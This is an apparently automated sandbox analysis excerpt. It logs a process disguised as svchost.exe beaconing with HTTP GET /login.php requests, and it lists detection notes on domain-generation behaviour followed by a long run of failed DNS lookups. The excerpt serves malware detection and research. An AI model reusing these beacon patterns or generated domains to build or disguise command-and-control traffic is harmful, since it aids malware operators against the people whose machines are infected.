Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Content-Length: 6 Cookie: btst=ba785a403bc90255316f056071bf01aa|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Content-Length: 6 Cookie: btst=aa184787ed2d77e1f6f59c2dc950863e|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Content-Length: 6 Cookie: vsid=918vr471976932991951418 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Content-Length: 6 Cookie: btst=a03933307436d0e87a275c8dab3cea9f|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Content-Length: 6 Cookie: btst=3bd5de231d5c30f08e390492f5c039b1|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyfyj.com Content-Length: 6 Cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww6.galyqaz.com Connection: Keep-Alive Cookie: vsid=918vr471976932991951418 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com Content-Length: 6 Cookie: btst=2defa10e06435b44928a9b853377cfec|8.46.123.33|1724431347|1724431347|0|1|0; snkz=8.46.123.33 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galynuh.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com Content-Length: 6 Cookie: btst=d106e65ece3c227125fd2b7f88318a22|8.46.123.33|1724431386|1724431386|0|1|0; snkz=8.46.123.33 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Content-Length: 6 Cookie: __tad=1724431387.3029143 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Content-Length: 6 Cookie: __tad=1724431387.5010053 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1724431387.3029143 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1724431387.5010053 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Queries random domain names (often used to prevent blacklisting and sinkholes)
Source: unknownDNS traffic detected: English language letter frequency does not match the domain names
Tries to resolve many domain names, but no domain seems valid
Source: unknownDNS traffic detected: query: qexysig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzypug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumytup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahynus.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyjux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebylov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofydac.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupytyl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupydig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyriq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujyxyl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufybyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volydot.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyvah.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetytug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvyxil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufymyg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purywop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrygyn.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonymuf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofyqit.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzyxyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyrug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopyret.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujymip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyvuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galypyh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyfyb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyxuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyzuw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumywaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyhuz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowydef.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqysag.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volykit.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonycum.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyxul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebyrip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacykeh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowybof.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyneh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxymed.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryfyd.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyvoq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyhup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacyhis.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyrol.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysymux.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadypuw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyvob.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyheq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekykup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryxij.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocycuc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexykug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyzef.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyfaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyfel.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofygum.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahykih.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqykab.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyzuf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvymul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyveg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofykoc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopycom.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykygaj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacykub.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojygok.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowykaf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymyvin.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowymyk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyrap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonydik.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofymik.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatycoh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvyjop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowyzuk.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purydyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyqih.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegytyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojykom.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopykak.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxylor.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofygaf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymylyr.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedynaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujygaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatydaw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygywor.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysywon.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyquw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysyvud.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysysod.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyrab.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegysoq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegynap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufygug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvyliv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyvyz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyfop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyfyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purycap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purydip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyveb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofybyf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyvil.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvylod.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purycul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyfuh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyqok.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyjim.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrytod.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volypum.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykymox.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyhiw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedysov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacypyz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupypiv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purytyg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyxov.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganydiw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryvex.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzyjoq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyvod.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufyjuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonypyf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyzoh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqykog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowydic.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyrom.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyqow.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopyjuf.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumyjig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetylyv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volymum.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumybal.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyzek.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumymuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyrytun.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymymud.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyquq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganycuh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyvas.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykynyj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyqog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopybyt.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvylyn.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyhob.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebysul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gacydib.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocymut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyzys.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyduz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupygel.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebytiq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupymyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatynes.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyqat.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzyjyg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegyqaq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pupycuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyvywed.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahypus.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojyjof.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahycib.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyzyh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexylup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojymic.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumypog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyryc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzybep.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyzas.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyhyl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzygop.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowyjut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufydep.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadyhyw.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lysytyr.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxyfar.com replaycode: Name error (3)
